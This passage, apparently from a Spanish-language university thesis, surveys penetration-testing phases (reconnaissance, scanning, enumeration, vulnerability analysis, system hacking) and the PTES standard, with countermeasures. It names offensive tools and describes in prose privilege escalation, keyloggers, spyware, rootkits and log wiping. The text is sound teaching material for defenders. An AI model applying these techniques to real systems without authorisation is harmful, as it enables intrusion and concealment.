Sistemas operativos de los host y servidores.
Localizacion del data center y servidores.
Direcciones publicas de correo electrénico.
Nombres de usuario, contrasefias, etc.

Metodologia de footprinting

Es el proceso que se sigue para recolectar la mayor cantidad de informacion posible sobre

un obijeti

vo, desde todas las fuentes disponibles y utilizando varias técnicas, las cuales

pueden ser:

e A

e A

e A

través de motores de busqueda.
través de servicios web.

través de redes sociales.
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e Através de sitios web.

e Através de correo electronico.

e Através de Whois.

e Através de DNS.

e Através de la red.

e Através de ingenieria social.
2.3.1.4 Herramientas

Existen muchas herramientas que pueden hacer de la fase de reconocimiento, una actividad
facilmente ejecutable y que nos permiten obtener diferentes tipos de informacién sobre un
objetivo, de varias fuentes. Entre algunas de las mas importantes tenemos: Maltego, Reconi-
ng, FOCA, OSR Framework, Recon-dog, entre otras.

2.3.1.5 Contramedidas

Algunas acciones que podemos tomar para prevenir o contrarrestar los peligros de la fase de

reconocimiento son:

o Desarrollar politicas de seguridad de la informacién para regular la informacién que

pueden o no divulgar los empleados.
e Restringir el acceso a las redes sociales desde la red de la organizacion.

e Concientizar a los empleados sobre amenazas de seguridad de la informacion a través

de entrenamientos y talleres para evitar ataques de ingenieria social y otros.
e Configurar los servidores para evitar fugas de informacion.
e Evitar revelar informacion critica en notas de prensa, reportes anuales, catalogos, etc.
e Limitar y controlar la informacién publicada en sitios web.

e Usar técnicas de footprinting para descubrir y remover informacion sensible que se

encuentre publicada en la web.
e Utilizar servicios de registro de dominio anénimos.
2.3.2 Escaneo de redes

La fase de escaneo es una forma extendida de la fase de reconocimiento, ya que todavia
consiste en recolectar informacion y no hay una intrusién como tal a los sistemas del objetivo.

En esta fase el atacante debe determinar que hosts se encuentran activos e inactivos con el
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fin de reducir el tiempo de ejecucion de la fase, y encontrar un punto de entrada hacia la
infraestructura del objetivo. En otros términos, es una serie de procedimientos ejecutados

para identificar hosts, puertos y servicios en una red.
2.3.21 Tipos de escaneo
» Escaneo de puertos

Es el proceso de examinar el estado de los puertos y los servicios que se encuentran en
ejecucion en un equipo. Consiste en el envio de secuencias de mensajes a un bloque de
puertos especificos y analizar sus respuestas, las que nos dan informacion sobre el estado
de los puertos y los servicios que pueden estar ejecutandose en un host. Este tipo de escaneo
nos provee informacion relacionada al sistema operativo y a las aplicaciones que utiliza el

objetivo.
> [Escaneo de redes

Es el procedimiento por el cual se identifican los hosts activos en una red. A través de este
escaneo podemos obtener un listado de hosts y direcciones IP activas.

> Escaneo de vulnerabilidades

Consiste en examinar un sistema por vulnerabilidades conocidas y, por lo tanto, si puede ser
explotado. Un escaner de vulnerabilidades consta de un motor de buUsqueda de

vulnerabilidades y un catalogo con el cual compara los recursos escaneados.
2.3.2.2 Objetivos de lafase de escaneo
Algunos de los objetivos de la fase de escaneo son:

e Obtener una lista de los hosts activos, direcciones IP y puertos abiertos.

e Descubrir los sistemas operativos y arquitecturas que utiliza el objetivo. Esto también

se conoce como “fingerprinting”.
e Descubrir los servicios que estan en ejecucion en el sistema objetivo.

¢ |dentificar las aplicaciones que se encuentran en ejecucién en un host, y su versién

respectiva.
¢ Identificar las vulnerabilidades presentes en cualquiera de los hosts objetivo.
2.3.2.3 Metodologia de la fase de escaneo
Generalmente la fase de escaneo sigue la siguiente secuencia:

¢ Identificacion de host (activos, rangos de IP).
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¢ Identificacion de puertos y servicios (abiertos, en escucha y ejecucion).

¢ Identificacién de sistemas operativos o fingerprinting (OS, arquitectura, versién)
2.3.2.4 Herramientas

Algunas herramientas (tiles para esta fase son: NMAP, Metasploit framework, NetScanTools

Pro, Hping2/Hping3, ipscaner, fing y network, estos 3 Gltimos para dispositivos moviles
2.3.2.5 Contramedidas
Algunas contramedidas Utiles en esta fase son:

e Utilizar IDS e IPS.

e Monitorear el trafico ICMP.

e Configurar los firewalls para detectar y prevenir ping sweeps.

e Ejecutar herramientas de escaneo de puertos para comprobar la existencia de puertos

disponibles, asi como también la efectividad de los firewalls.
¢ Mantener el firmware de los equipos de red actualizados.
e Deshabilitar o modificar los banners de los sistemas.
¢ Ocultar las extensiones de las paginas web.
2.3.3 Enumeracion

Una vez que tenemos una vista general de la red, sus equipos y servicios, lo siguiente es
extraer nombres de usuarios, de equipos y grupos, tablas de ruteo, recursos de red y
compartidos. En esta fase, el atacante establece una conexién activa con el sistema y envia
consultas directas para obtener méas informacién. La informacién recolectada en esta fase
permite identificar vulnerabilidades y explotarlas de una manera adecuada. Las técnicas de

enumeracion funcionan en un ambiente de intranet.

A continuacion, algunos puertos y servicios relevantes a enumerar:
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Services and Ports to Enumerate CEH

TCP/UDP 53 TCP/UDP 389

# &
Domain Name System (DNS) Zone Transfer 4 Lightweight Directory Access Protocol (LDAP)

[,' TCP/UDP 135 Fa TCP 2049

e Microsoft RPC Endpoint Mapper Network File System (NFS)

UDP 137 TCP 25

et NetBIOS Name Service (NBNS) Simple Mail Transfer Protocol (SMTP)

@\ TCP 139 Fj TCP/UDP 162
NetBIOS Session Service (SMB over NetBIOS) Lo SNMP Trap

@ TCP/UDP 445 Sl UDP 500
SMB over TCP (Direct Host) *® % | SAKMP/internet Key Exchange (IKE)

o UDP 161 ﬁo TCP 22

:| Simple Network Management Protocol (SNMP) Secure Shell (SSH)

Copyright © by EE-COBBCH All ights Resorved. Reproduction s Strctsy Prohisted

Figura 1. Puertos comunes. Fuente: CEH V.11

2.3.3.1 Tipos de enumeracion
» Enumeracién de NETBIOS

Netbios es un protocolo para la comunicacion entre aplicaciones a través de la red. Para esto,
establece las sesiones y mantiene activas las conexiones. Cuando de sistemas Windows se
trata, lo primero que debemos hacer es la enumeracion Netbios, ya que extrae una cantidad
considerable de informacion relevante de la red del objetivo. Es un protocolo antiguo e

inseguro ya que se encuentra en ejecucion aun sin estar en uso.

Con la enumeraciéon de Netbios podemos obtener:
o Ellistado de equipos que pertenecen a un dominio.
¢ Una lista de los recursos compartidos en un equipo de una red.
e Politicas y contrasefias.

e Un atacante también podria leer o escribir a un sistema remoto e incluso lanzar un
ataque DOS.

Algunas de las herramientas mas utiles en este tipo de enumeracion son: NetBIOS

Enumerator, Nmap, PsTools y Net View.
» Enumeracion SNMP

SNMP (simple network management protocol) es un protocolo que permite a los
administradores de red, administrar dispositivos de forma remota. El protocolo maneja una
base de informacién de administracién (MIB) que contiene descripcién detallada de todos los

dispositivos administrables como routers, switches, equipos, etc., ademas de recursos
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compartidos y de red. La enumeracion SNMP aprovecha las configuraciones por defecto de
este protocolo para poder acceder a la MIB.

Herramientas utilizadas en este caso: Snmpcheck, SoftPerfect Network Scanner, OpUltils,

Network Performance Monitor, PRTG Network Monitor y Engineer’s Toolset.
» Enumeracion LDAP

LDAP (Lightweight Directory Access Protocol) es un protocolo que gestiona la comunicacion
y la transferencia de datos entre los recursos de una red. LDAP puede acceder a servicios de
directorio como Active Directory u otros y organiza la informacién en un orden légico y
jerarquico. Un atacante puede de forma andnima, realizar consultas al directorio LDAP por
informacidn sensible como nombres de usuario, direcciones, nombres de servidores y demas,
gue pueden ser aprovechados para la ejecucion de ataques. Las herramientas comianmente
usadas en este tipo de enumeracion son: Softerra LDAP Administrator, LDAP Admin Tool,
LDAP Account Manager, LDAP Search, entre otras.

» Enumeracién NTP y NFS

Network Time Protocol (NTP) sincroniza las configuraciones de hora en los dispositivos de
una red. Network File System (NFS) es un sistema de archivos que permite a los usuarios
acceder, visualizar, almacenar y actualizar archivos sobre un servidor remoto. Ambos
protocolos almacenan listas de direcciones IP, informacion de host y sistemas operativos de
sus clientes, NFS ademas almacena informacién sobre los recursos que comparte cada

cliente. La Enumeracion NTP y NFS utiliza varias técnicas para acceder a esas listas.

Entre las técnicas y herramientas (tiles para este caso, encontramos: comandos de
enumeraciéon NTP, PRTG Network Monitor, Nmap, Wireshark y NTP Server Scanner para
NTP, y, RPCScan y SuperEnum para NFS.

» Enumeracion SMTP y DNS

Simple Mail Transfer Protocol (SMPT) es un protocolo simple para la transferencia de correos
electronicos. Ya que los servidores SMTP responden de manera distinta que los que trabajan
con IMAP o POP3, los usuarios validos en un servidor SMTP pueden ser identificados.
Utilizando técnicas de enumeracion SMTP, un atacante puede facilmente obtener listas
validas de usuarios, direcciones de destino, etc. Las herramientas mas comunes para este

tipo de enumeracion son NetScanTools Pro y smtp-user-enum.
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Domain Name System (DNS) se usa principalmente para traducir las direcciones IP de

internet en sus nombres de dominio respectivos. Entre las técnicas principales para la

enumeracion DNS estan:

Enumeracién DNS por zonas de transferencia: Un atacante envia una solicitud de
zone-transfer al servidor DNS, haciéndose pasar por un cliente. Si la opcion esta
habilitada, el servidor DNS enviara de respuesta una porcion de su base de datos
como zona al atacante. Esta zona puede contener gran cantidad de informacion sobre
las redes dentro de la zona del DNS. Las herramientas a utilizarse en este tipo de

enumeracién son: comando dig, comando nslookup y DNSRecon.

DNS Cache Snooping: Un atacante realiza una consulta al servidor DNS por un
registro de cache especifico. Este registro no puede ayudar a revelar informacion
como el propietario del servidor DNS, su proveedor del servicio, el fabricante. Con
esta informacion, el atacante puede aplicar métodos de ingenieria social en el objetivo.
Las herramientas utilizadas para realizar este tipo de ataque son: comando dig, DNS
Snoop Dog y DNSRecon.

DNSSEC Zone Walking: es una técnica de enumeracion DNS en la que el atacante
intenta obtener registros internos de una Zona DNS si la zona no esta configurada
apropiadamente. La informacién obtenida por medio de este método ayuda al atacante
a construir un mapa de la red. Se utilizan herramientas como: LDNS, DNSRecon,

nsec3map, nsec3walker y DNSwalk.

» Otras técnicas de enumeracion

Las anteriores expuestas, son las mas comunes, sin embargo, existen varias técnicas de

enumeracién de las cuales vamos a dar algunos ejemplos:

Enumeracion IPsec

Enumeracion VolP

Enumeracion Telnet

Enumeracion SSH user

Enumeracion FTP

Enumeracion SMB

2.3.3.2 Contramedidas

Cambiar los valores por defecto de los dispositivos que utilizan SNMP.
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2.3.4

Utilizar los protocolos actualizados (en su ultima version).
Deshabilitar DNS zone transfer para host desconocidos.
Utilizar servicios de registro DNS que permitan ocultar la informacion sensible.

Configurar los servidores SMTP para ignorar los correos dirigidos a recipientes

desconocidos.

Utilizar SSL o STARTTLS en servidores LSAP para encriptar la transmision de datos.
Deshabilitar el protocolo SMB en servidores web y DNS.

Deshabilitar los puertos TCP 139 y 445 que son utilizados por SMB.

Implementar permisos apropiados de lectura y escritura en servidores NFS.
Bloguear a través de firewall el puerto 2049 utilizado por NFS.

Implementar SFTP o FTPS para encriptar el trafico FTP de la red.

Asegurarse que la subida de archivos sin restricciobn en el servidor FTP, no esta

permitida.
Restringir el acceso por IP 0 nombre de dominio al servidor FTP.

Analisis de vulnerabilidades

El andlisis de vulnerabilidades consiste en la busqueda de debilidades de seguridad en un

sistema informatico, la calificacion de esas vulnerabilidades segun la severidad, y las

acciones a seguir para mitigar o remediar esas vulnerabilidades.

2.3.4.1 Clasificacion de las vulnerabilidades

Las vulnerabilidades tienen una clasificacion muy variada, la cual, generalmente depende de

su origen y naturaleza (ver tabla 3).

Tabla 4. Clasificacion de las vulnerabilidades. Fuente: (Ec Council, 2020)

Tipo Descripcién

Es la mas comun, y es generalmente causada por errores humanos

Mala Configuracion intencionados o no intencionados. Las fallas en la configuracion son

comunes en servidores web, aplicaciones, bases de datos y redes

Ocurre cuando se prioriza la usabilidad antes que la seguridad en la

Instalaciones por instalacién de hardware o software. El no cambiar las configuraciones por
defecto defecto en el primer uso, facilita la tarea de un atacante para ingresar a un

sistema sin autorizacién

Son vulnerabilidades comunes de software que ocurren por errores de
cédigo que permiten a un atacante sobrepasar el tamafio asignado del
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Buffer overflows buffer hacia bloques de memoria contiguos en donde puede ejecutar
instrucciones para obtener privilegios en el host objetivo

Generalmente, los parches corrigen fallas de seguridad existentes en los
Servidores sin sistemas. Al utilizar servidores sin los Ultimos parches o actualizaciones,
parches comprometemos la seguridad e integridad de toda la informacién en el
sistema y lared

Aplican para todo tipo de dispositivo y sistema. Encriptacién y validacién
Fallas de disefio incorrecta de los datos dejan fallas en la funcionalidad de un sistema los
cuales pueden ser explotados por un atacante

La instalacion de aplicaciones desconocidas, el no actualizar los sistemas
Fallas en los operativos que utilizamos, aumenta el riesgo de infeccion de malware y
sistemas operativos ataques informaticos

Las aplicaciones defectuosas representan una falla de seguridad. Es por

Fallas en las esto que los desarrolladores deben conocer y considerar las
aplicaciones vulnerabilidades de seguridad comunes a la hora de desarrollar
aplicaciones

Servicios y puertos abiertos de forma innecesaria pueden ser la entrada de
Servicios abiertos ataques DOS o de otro tipo

Los fabricantes establecen claves por defecto para la configuracion inicial
Contrasefias por de sus dispositivos. Es necesario actualizar estas claves con claves fuertes
defecto ya que, de lo contrario, nuestros dispositivos son vulnerables a accesos no
autorizados

2.3.4.2 Metodologia del analisis y evaluacion de vulnerabilidades
La evaluacion de vulnerabilidades sigue la siguiente logica:
1. Examinary evaluar la seguridad fisica.
2. Buscar por fallas en las configuraciones y errores humanos.
3. Ejecutar herramientas de analisis de vulnerabilidades.
4. Seleccionar el tipo de escaneo de acuerdo a la organizacién y los requerimientos.
5. Identificar y priorizar vulnerabilidades.
6. Identificar falsos positivos y falsos negativos.
7. Relacionar los resultados con el contexto tecnoldgico y de negocio.
8. Realizar recoleccion OSINT de datos y validar con las vulnerabilidades encontradas.
9. Crear un reporte del escaneo de vulnerabilidades.

2.3.4.3 Métodos de andlisis y evaluacién de vulnerabilidades.
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e Analisis y evaluacion Activa: Utiliza escaneres de red para encontrar equipos,

servicios y vulnerabilidades.

e Andlisis y evaluacién Pasiva: Utiliza sniffers de red para descubrir sistemas, redes, y

vulnerabilidades.

e Andlisis y evaluacion Externa: Evalla las vulnerabilidades de la red desde la

perspectiva de un hacker, o que son accesibles desde la parte externa de la red.

e Andlisis y evaluacion Interna: Escanea la infraestructura interna de la red para

descubrir exploits y vulnerabilidades.

e Andlisis y evaluacién Basada en Host: Realiza una comprobacion de los hosts de la
red a nivel de configuraciones en busca de fallas.

¢ Analisis y evaluacion Basada en Red: Determina y evalla las fallas presentes en la

red de una organizacion.

e Andlisis y evaluacién de Aplicaciones: Realiza un andlisis de las aplicaciones
presentes en una infraestructura en busca de fallos en la configuracién, uso de

versiones inseguras y vulnerabilidades conocidas.

e Andlisis y evaluacion de Bases de Datos: Comprueba los motores de bases de datos

en busca de informacién expuesta o vulnerabilidades de tipo inyeccion.

Existen otros tipos de analisis y evaluacion de vulnerabilidades cada uno con su orientacion

y enfoque, como inalambrica, distribuida, acreditada, no acreditada, manual y automética.
2.3.4.4 Herramientas para el analisis y evaluacion de vulnerabilidades

Algunas herramientas Utiles en esta fase son: Qualys Vulnerability Management, Nessus

Profesional, GFI LanGuard, Open VAS, Nikto, entre otras.
2.3.4.5 Contramedidas

Como contramedidas tenemos las soluciones basadas en productos, que se encuentran en
el apartado anterior, y las soluciones basadas en servicios, que consisten en contratar

equipos de auditoria 0 empresas de seguridad especializadas en este tipo de actividad.
2.3.4.6 Reporte del andlisis de vulnerabilidades

Al finalizar esta fase es siempre importante realizar un reporte de las amenazas encontradas.
Herramientas como Nessus, GFI LanGuard y otras, contienen moédulos para la elaboracion
de reportes, los cuales son personalizables a diferentes formatos. El reporte es relevante para

la organizacion ya que revela sus debilidades, anticipa ataques y sugiere la toma de
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contramedidas. Las vulnerabilidades se clasifican por su nivel de severidad en Alta, Media y

Baja.

El reporte de vulnerabilidades debe por lo menos incluir la siguiente informacion:

Informacion del método de escaneo (Herramienta utilizada, version y puertos a

escanear)

Informacion del, o los objetivos (nombre de host, direccién, sistema operativo y fecha

en la que se escaneo el host)
Servicios (los servicios escaneados, nombre y nimero de puerto)

Clasificacion del test.

De la misma forma, las vulnerabilidades encontradas, deben reportarse con la siguiente

informacion:

2.3.5

Nombre de la vulnerabilidad y el ID en la CVE.
Fecha de descubrimiento.

La calificacién que consta en la base de datos CVE.
Una descripcion detallada de la vulnerabilidad.

El impacto de la vulnerabilidad.

Detalles sobre el equipo afectado.

Detalles para el control de la vulnerabilidad como parches, correcciones de

configuracion o puertos a ser bloqueados.
De ser posible, una prueba de concepto de la vulnerabilidad en el sistema.

System Hacking

Con toda la informacion recolectada en las fases anteriores, el atacante procede a la fase

mas importante, y en algunos casos la dltima: la vulneracion del sistema. EI comprometer la

seguridad de un sistema le permite a un atacante alcanzar sus objetivos.

La metodologia de esta fase, sigue los siguientes pasos:

2.3.5.1 Obtener acceso

En esta fase, el atacante primero debe obtener el acceso a un sistema objetivo, para hacerlo,

se apoya de algunas técnicas existentes:
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» Password cracking

Es el proceso de recuperar una contrasefia desde los datos transmitidos por un sistema o
gue se almacenan en el mismo. Una contrasefia puede recuperarse de varias formas (ver
tabla 4), simplemente adivinando por suposicion o utilizando herramientas de software que

automatizan este proceso.

Tabla 5. Tipos de password attack. Fuente: (Ec Council, 2020)

Tipo Descripcién
El ataque no precisa de herramientas tecnolégicas (ingenieria
Ataque no técnico social, shoulder surfing, dumpster diving)

Ataque activoy en  requiere de interaccion directa con el equipo de la victima
linea (diccionario, fuerza bruta, hash injection, malware, etc)

El atacante trata de recuperar una clave sin interactuar con el
Ataque pasivo y en  equipo de la victima (Wire sniffing, Man-in-the-middle attack,
linea etc)

El atacante copia el archivo que contiene una clave y ejecuta
Ataque fuera de password cracking en otro lugar (rainbow table attack,
linea distributed network attack)

Algunas herramientas Utiles para password cracking son: LOphtCrack, ophcrack,

Rainbowcrack, entre otras.
» Explotar vulnerabilidades

Un atacante debe primero descubrir una vulnerabilidad en un sistema para luego desarrollar
un exploit, que, al ejecutarlo, le permita el acceso a un host objetivo. Ahora, esto involucra

todo un proceso, que vamos a revisar a continuacion:
1. Identificar la vulnerabilidad.
2. Determinar el riesgo asociado con la vulnerabilidad.
3. Determinar la capacidad de la vulnerabilidad.
4. Desarrollar el exploit.
5. Seleccionar el método para la entrega (local o remoto).
6. Generar y entregar el payload.
7. Obtener acceso remoto.

Para explotar vulnerabilidades, un atacante puede ejecutar buffer overflow en cualquiera de
sus métodos o también acudir a uno de los varios sitios web o bases de datos de

vulnerabilidades y exploits en internet, en donde puede descargar o desarrollar exploits y
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ejecutarlos en un objetivo. Algunos sitios conocidos son: Exploit Database, Security Focus,
VulDB y MITRE CVE.

» Ingenieria social

El factor humano continda siendo el eslabon mas débil en la cadena de la ciberseguridad
(Greavu Serban & Serban, 2014). Es ahi donde se enfoca la ingenieria social. Esta disciplina
no técnica, pretende manipular a las personas a través de métodos de persuasion, de modo
gue revelen informacién importante acerca de su objetivo. Las medidas de proteccion técnicas

no son efectivas contra este tipo de ataques (Krombholz et al., 2015).

Entre los métodos mas comunes de ingenieria social se encuentran el phishing, spam, baiting,

tailgating, dumpster diving y shoulder surfing, entre otros.
2.3.5.2 Escalar privilegios

Es la segunda etapa en la fase de system hacking. Con las claves obtenidas en la etapa

anterior, el atacante intenta elevar sus privilegios en el sistema objetivo.

A través de un ataque de elevacion de privilegios, el atacante puede tomar ventaja de fallas
de disefio, errores de programacion, bugs, y fallas de configuracion en el sistema operativo y
las aplicaciones para ganar privilegios de administrador, lo que le dard acceso a ver,

modificar, eliminar informacion sensible, o instalar malware en el sistema.
La elevacion de privilegios se divide en 2 tipos:
> Horizontal

Se refiere a obtener los mismos privilegios que ya han sido obtenidos, asumiendo el rol de
otro usuario con el mismo nivel de privilegios. El objetivo es acceder a la informacion y

recursos de otro usuario, por ejemplo: los datos de su cuenta bancaria.
» Vertical

El atacante intenta ganar privilegios mayores a los que posee actualmente con el fin de poder

acceder a informacion critica o ejecutar algun tipo de malware.
» Meétodos y herramientas

Existen varias formas de escalar privilegios en un sistema, como explotar vulnerabilidades
(que podemos encontrar en una de las bases que revisamos anteriormente) o utilizar
herramientas. Algunas herramientas importantes para esta actividad son: BeRoot,

linpostextp, entre otras.

2.3.5.3 Mantener acceso
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Una vez que se ha obtenido acceso al sistema y escalado los privilegios, el atacante intenta
mantener el acceso y sus privilegios del sistema, para futura explotacion del mismo o para

perpetrar ataques a otros sistemas en la red. En esta fase un atacante puede hacer 2 cosas:
» Ejecutar aplicaciones

Los atacantes ejecutan varios tipos de malware de manera remota como spyware y keylogger
a fin de poder robar informacidon como nombres de usuario y contrasefias, o instalar back

doors.

Existen varias herramientas para la ejecucion remota de aplicaciones, que ayudan a los
atacantes a instalar, ejecutar, eliminar o modificar los recursos dentro de un sistema obijetivo.

Algunas importantes son: RemoteExec, PsExec y Pupy.

En el caso de los key loggers, existen soluciones de hardware como pendrives que
almacenan todas las pulsaciones de teclado en un archivo de texto dentro del mismo.
También hay soluciones de software importantes como Spyrix Keylogger Free, REFOG
Personal Monitor, Elite keylogger, entre otros.

El spyware es otro tipo de malware comdnmente usado en esta etapa. Algunas soluciones
Gtiles son: SpyAgent, PowerSpy, NetVizor, Spy Voice Recorder, Free2X Webcam Recorder,
Phone Spy, mSpy para dispositivos con GPS, entre otros.

> Ocultar archivos

El paso siguiente que un atacante realiza en esta fase, es ocultar los archivos o los programas
maliciosos que ejecuta, para evitar que aplicaciones de proteccion como antivirus,

antispyware y otras, adviertan de su presencia y pongan en riesgo toda la operacion.

De entre las herramientas mas importantes para ocultar la actividad maliciosa de un atacante

se encuentran:
e Rootkits
e NTFS Streams
e Esteganografia
2.3.5.4 Eliminacion de rastros

Como instancia final, el atacante debe remover toda evidencia de su actividad maliciosa en
el sistema comprometido, aun si decidiera seguir explotandolo, de tal manera que pueda

permanecer encubierto y evitar ser rastreado.
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En esta fase, es tarea del atacante, hacer que el sistema aparente el no haber estado

comprometido por actividad maliciosa. Para esto, debe devolver los logs, archivos de

configuraciéon y demds, a su estado previo al ataque.

Técnicas utilizadas para eliminar rastros:

Deshabilitar la auditoria: El atacante deshabilita las capacidades de auditoria del
equipo comprometido.

Limpiar los logs: El atacante limpia o elimina las entradas correspondientes a sus

actividades.

Cubrir los rastros en la red: El atacante utiliza técnicas como reverse HTTP shells,
reverse ICMP tunnels, DNS tunneling y otras para cubrir sus rastros en la red.

Cubrir los rastros en el sistema operativo: Utilizar NTFS streams para esconder

archivos y actividad maliciosa en el host comprometido.

Eliminar archivos: Utilizar herramientas como Cipher.exe para eliminar datos y

prevenir su futura recuperacion.

Deshabilitar funcionalidades de Windows: tales como timestamp, hibernacion,

memoria virtual y puntos de restauracion para cubrir sus rastros.

Algunas herramientas Utiles a la hora de eliminar los rastros son: CCleaner, DBAN, Privacy

Eraser, Wipe, ClearProg, entre otras.

Como se evidencio, el trabajo completo de un atacante no es solo comprometer el sistema

de manera exitosa, sino también eliminar sus rastros y cualquier evidencia que pudiera servir

para rastrearlo y perjudicarlo en un futuro.
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2.4 PTES (Penetration Testing Execution Standard)

Es una metodologia para el desarrollo de pruebas de intrusion, desarrollada por un grupo de
practicantes y profesionales de todas las areas (Finanzas, proveedores de servicios,

fabricantes, etc.) en el afio 2009.

El estdndar estd orientado a servir de linea base, tanto para proveedores de servicio
involucrados en este tipo de actividades, asi como también a empresas que requieren
contratar este tipo de servicios. Se diferencia de otras metodologias en que se enfoca en

identificar el “riesgo de negocio” asociado con una vulnerabilidad.

Consiste de 7 fases que tratan de cubrir todo lo relacionado a las pruebas de intrusién, desde
las interacciones previas al compromiso, en donde se define el alcance y los temas legales,
hasta la explotacién y reporte del test, en donde se captura todo el proceso de un modo que

provea valor técnico y de negocio para el cliente.

Por ultimo. Ya que el estandar PTES no provee lineamiento técnico para la ejecucion del test,
han elaborado una guia técnica con recomendaciones, que se encuentra disponible en su

sitio web.
Las fases del PTES son:
2.4.1 |Interacciones previas al compromiso

Sin duda la fase mas subestimada dentro del proceso de una prueba de penetracion, cuando
en realidad deberia ser la mas importante. La prueba de esto es que, muy poco se ha
dedicado dentro de la literatura a esta fase. Las interacciones previas al compromiso tienen
el potencial de causar varios problemas de alcance, insatisfaccion en los clientes, e incluso

problemas legales, si no son abordadas adecuadamente.

Esta fase pone especial esfuerzo en definir el alcance y establecer una estructura de costos.
Ambos tienen que ser muy especificos en cuanto a las actividades que se van a realizar.
Ademas, el PTES recomienda basar los costos de las actividades en trabajo realizado. Es
importante también en esta fase, que el cliente tenga claro que es lo que necesita ser
testeado, y que es lo que espera del test. De alli, que es necesaria la intervencién del
pentester o consultor, quien servird de guia en lo que, muy probablemente, sea terreno

desconocido para el cliente.
Las consideraciones del PTES para esta fase son:
o Definir métricas para estimar el tiempo.

e Establecer una reunién para definir el alcance (lo mas especifico posible).
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o Proveer al cliente de una tarifa por hora para el caso de actividades que no constan

en el alcance.

e Los cuestionarios que facilita el PTES pueden ayudar al pentester a resolver varias

dudas sobre lo que cliente espera obtener del pentest.
¢ Aumento descontrolado del alcance.

¢ Reglas del compromiso (Rules of engagement, determinar las reglas bajo las que se

va a ejecutar el test).
e Especificar fechas de inicio y fin.
e Especificar horarios para ejecucion de las actividades.
o Especificar rangos de IP y dominios.

e ISP, Servicios en la nube y de terceros (se debe pedir autorizacion a los propietarios
de los servicios para la ejecucion del test, en el caso de ISPs, pueden bloquear el

trafico malicioso cuando el test esta en ejecucion).

¢ Comunicacion de la informacién (periodicidad para la entrega de reportes y en que

formatos).
e Términos para el pago (fechas y condiciones).

Solo luego de haber llegado a un entendimiento con el cliente, elaborado todos los
documentos, y se cuenta con la autorizacion legal para ello, procedemos con la siguiente

fase.
2.4.2 Recoleccién de informacion

Esta fase corresponde con la de reconocimiento en el proceso genérico de un pentest. Como
se vio anteriormente, consiste en recolectar la mayor cantidad de informacién posible sobre
un objetivo, con el fin de aumentar los vectores de ataque que podrian usarse en fases
posteriores. Una técnica comunmente utilizada en esta fase es OSINT, que consiste en

recolectar informacion de fuentes publicamente abiertas.

El PTES clasifica las fuentes de recoleccion de informacion en 3 niveles, y para hacerlo,

considera variables como tiempo, esfuerzo y actividades requeridas. De alli tenemos:

e Nivel 1: Esfuerzo minimo. La informacion en este nivel puede ser obtenida por una

herramienta automatizada.
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e Nivel 2: Esfuerzo medio: La informacion se obtiene de la misma forma que el nivel 1y

un analisis basico con un buen entendimiento del negocio.

¢ Nivel 3: Esfuerzo alto: Se aplican las técnicas de los niveles 1 y 2, y se realiza un
analisis mas profundo. Se establecen relaciones del negocio y se obtiene informacion

mas pulida.
Consideraciones del PTES para esta fase:

¢ Identificacién profunda del objetivo (investigar por empresas mas pequefias propiedad
del objetivo y otros dominios de nivel superior que podrian haber quedado fuera del

alcance, para reconsideracion).

e Basarse siempre en las reglas del compromiso para mantenerse enfocado y evitar

contratiempos.
e La duracion del tiempo.
o El objetivo del test.
¢ Inteligencia de fuentes abiertas (OSINT).

Por su parte, basandose en la experiencia de todos sus miembros, el PTES provee en su sitio
web, una vasta coleccién de fuentes y métodos para recopilar informacion, clasificadas y
calificadas de acuerdo a los niveles previamente analizados, con el fin de facilitar la labor de
un auditor. Entre algunas de las fuentes tenemos, infraestructura fisica, tecnologica, de la

organizacion, financiera, etc.
2.4.3 Modelado de amenazas

“El andlisis de modelo de amenazas (TMA) es un andlisis que ayuda a determinar los riesgos
de seguridad que pueden acaecer en un producto, aplicacion, red o entorno, asi como la
forma en la que se aparecen los ataques. El objetivo consiste en determinar cuales son las

amenazas que requieren mitigacion y los modos de hacerlo.” (Microsoft, s/f)

En otras palabras, se trata de anticipar cualquier tipo de ataque, considerando el valor de los
activos para los atacantes, cuanto les costaria llegar a comprometerlos, bajo qué

circunstancias podrian hacerlo y el impacto que tendria la perdida de esos activos.

Para esto, el estandar se centra en 2 elementos tradicionales del modelado de amenazas:
activos y atacantes. Los activos a su vez, se clasifican en Activos de negocio y Procesos de

negocio. En este sentido, el modelado de amenazas resulta beneficioso no solo para la

Martin Fernando Gonzalez Palomeque Pagina 45



AE% UNIVERSIDAD DE CUENCA

Thaas: H

==

auditoria en si, sino para la organizacion, ya que le permite reconocer el valor de sus activos,

y priorizarlos.

Marti & Lloret (2016), afirman que el PTES no especifica una metodologia para el modelado
de amenazas, Unicamente indica que debe ser consistente y repetible para futuros test. Sin
embargo, existen varias metodologias especificas disponibles en la web como el Security

Development Lifecycle o el OSSTMM.
» Proceso del modelado de amenazas de alto nivel
1. Recopilar informacién relevante.
2. ldentificar y categorizar activos, primarios y secundarios.
3. Identificar y categorizar amenazas y grupos de riesgo
4. Emparejar los activos con los grupos de riesgo.
» Analisis de los activos de negocio

Los activos de negocio son aquellos activos que pueden resultar de gran valor para un
atacante. Es necesario analizar la documentacién conjuntamente con el personal de la

organizacion para poder identificarlos.

Se consideran activos de negocio la informacién de los productos (patentes, etc.), informacion
financiera, informacion sobre el personal y sobretodo informacion sobre la infraestructura de

los sistemas, redes, aplicaciones y demas datos técnicos.
» Analisis de los procesos de negocio

Se consideran procesos de negocio, aquellos que afiaden valor al conocimiento o materias
primas de una organizacion, transformandolas en bienes o servicios. Con esto en cuenta, los
procesos y los activos de negocio forman cadenas de valor, las que debemos conocer, para

comprender en qué forma nos puede perjudicar un determinado grupo de riesgo.
» Clasificaciéon de los grupos de riesgo

Al identificar los grupos de riesgo, es necesario clasificarlos en internos y externos. El PTES

provee la siguiente tabla:

Tabla 6. Grupos de riesgo PTES. Fuente: (The Penetration Testing Execution Standard, s/f)

Internos Externos
Empleados Socios empresariales
Direccion (ejecutiva o .

) (€] Competidores
gerencia)

Administradores (red,

. : Contratistas
sistemas o servidores)
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g

Desarrolladores Proveedores
Ingenieros Estados nacionales
Técnicos Crimen organizado
Contratistas Hacktivistas
Comunidad de usuarios Script kiddies

en general

Soporte remoto

Luego que se ha identificado el grupo de riesgo, debemos considerar la capacidad de dicho
grupo en términos de conocimientos, acceso a herramientas y motivos por los que quisiera
perjudicar a la organizacién, a fin de crear un modelo que refleje la posibilidad de un ataque

exitoso de su parte (Marti & Lloret, 2016) y establecer estrategias sobre como mitigarlos.
2.4.4 Anélisis de vulnerabilidades

Recapitulando, una vulnerabilidad es una debilidad de un recurso tecnolégico que lo expone
a un ataque o acceso no autorizado, y a su vez, atenta contra la confidencialidad, integridad
